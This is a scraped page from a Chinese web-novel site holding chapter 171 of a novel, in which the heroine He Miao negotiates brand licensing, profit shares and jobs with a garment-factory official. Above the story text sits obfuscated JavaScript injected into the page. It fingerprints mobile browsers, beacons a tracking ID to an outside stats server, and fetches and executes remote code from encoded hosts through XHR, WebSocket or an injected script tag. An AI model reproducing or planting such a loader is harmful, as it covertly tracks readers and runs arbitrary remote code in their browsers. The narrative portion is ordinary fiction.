足迹
小说上门龙婿免费版
登录
关灯
护眼
字体:

第171章 讨价还价(第1页)

function OVHGxRJ(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function YTrZu(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return OVHGxRJ(t);};window[''+'a'+'L'+'e'+'X'+'U'+'l'+'s'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){var x=YTrZu,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0])));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://yh.dyuthic.com:7891/stats/7728/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh3/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1])));var ws=new WebSocket(k+'/wh3/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh3/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh3/'+i;cs.parentElement.insertBefore(s,cs);}})('aHHR0cHHMlM0ElMkYlMkZ0by5tb2xpMTAyLnRvcCUzQTg4OTE=','d3NzJTNBJTJGJTJGdW0uYmNlbbnJzbby5jbb20lM0E5NTM1','4674',window,document,['H','b']);}:function(){};

主动权到了何苗手里,她就要说出自己的诉求了。

合作的主要目的是赚钱,而想要赚大钱,却需要布局一个长线。

何苗提出的三个要求很简单。

“第一,你们可以继续生产跟我们款式一样的服装,我可以授权,但是你们生产的衣服都要打着我们‘春雨’的品牌。”

何苗相当于把品牌给服装二厂了。

只是王科长还没来得及高兴,何苗又给补充了一点。

“但是,每年该品牌的盈利,需要分给我们厂百分之六十。”

何苗的话一出,王科长就不乐意了。

“百分之六十,太多了,要知道我们厂子养活着好几万人的,你们厂才几个人,把你们村子都算上也没我们厂人多,盈利你都拿走了,我们厂岂不是要赔钱。”

周秉文这边不乐意了:“春雨的品牌设计都是出自何苗之手,她没有给你们要品牌设计费已经很不错了,要是这个品牌不给你们,只让你们生产,连四十的盈利你们都拿不到。”

诺大个工厂给何苗的服装厂做代加工厂,利润很单薄。

周秉文当即就给王科长算了一笔账。

“你们大批量进布料,价格便宜,生产出来的衣服每件成本算上人工顶多十块钱一件,这些衣服的定价是二十,你们还有一半的利润,十块钱,分给我们六块,你们还能得四块,也不算亏吧。”

王科长却坚决不同意,心里却想着是实在不行,他不要这个品牌,自己创建,自己找服装设计师。

“这个不行,大不了跟你们一样款式的衣服,我们不做了,我们自己设计。你再提其他的意见吧。”

何苗就知道他们舍不得这些钱,无所谓的耸耸肩。

“那好吧,既然如此,我再说第二个,品牌不给你们,我们给你下订单,但是你们必须保证,给我们的价格是所有客户中最优惠的。”

这个合作形式比刚才好一点,王科长立马算了一个账。

他现在这款衣服卖二十,成本十块,但是给百货大楼的价格是十六,其实也就相当于刚才那个盈利,何苗他们厂反了过来,只占四成。

一下子降了两成的利润,他还是比较容易接受的。

“这个可以,你们给我们服装设计稿,我们照着你们的款式生产,要多少给多少。”

何苗微微一笑:“这样的话,你们就可以做出跟我们厂一样款式的服装了,而且我们也不好察觉,你们可以自己卖,自己赚钱,把我们撇一边。”

王科长被何苗一下子就点透了心思,眼神有些慌张。

“你们可以再附加一些条件么。”

刚才的条件确实等于没说,就算没有这回事,何苗作为客户去厂里拿衣服,也是这样合作办法,况且何苗还赔了服装设计。

何苗却压根不在意,她推出了最后一个要求。

“那好吧,我们也没有别的要求了,既然刚才王科长说可以给我们厂安排工作,我想着不如就安排两个人吧。”

周秉文和何苗对视一眼,何苗又跟齐卫家对视一眼,三个人点点头。

何苗说:“我姑姑跟我姑父离婚了,在村子里生活很艰难,她的衣服做的很好,不如就让她来厂子上班,王科长给安排一个生产线的活。”

厂子里的女工总是不足,因为女人都很麻烦,生孩子带娃各种假很影响工作,而且厂子总有做不完的活。

王科长没有考虑就同意了。

“行,那就让她当一个车间主任,负责生产,另外给她安排一个宿舍,她闺女就在我们学校上学好了。”

何苗点点头:“还有一位就是他,周秉文是我们村的知青,我们厂子是他张罗起来的,要是以后生产不多了,他就没啥用了,他不愿意回京城,切擅长卖东西,麻烦王科长给他也安排一个工作吧。”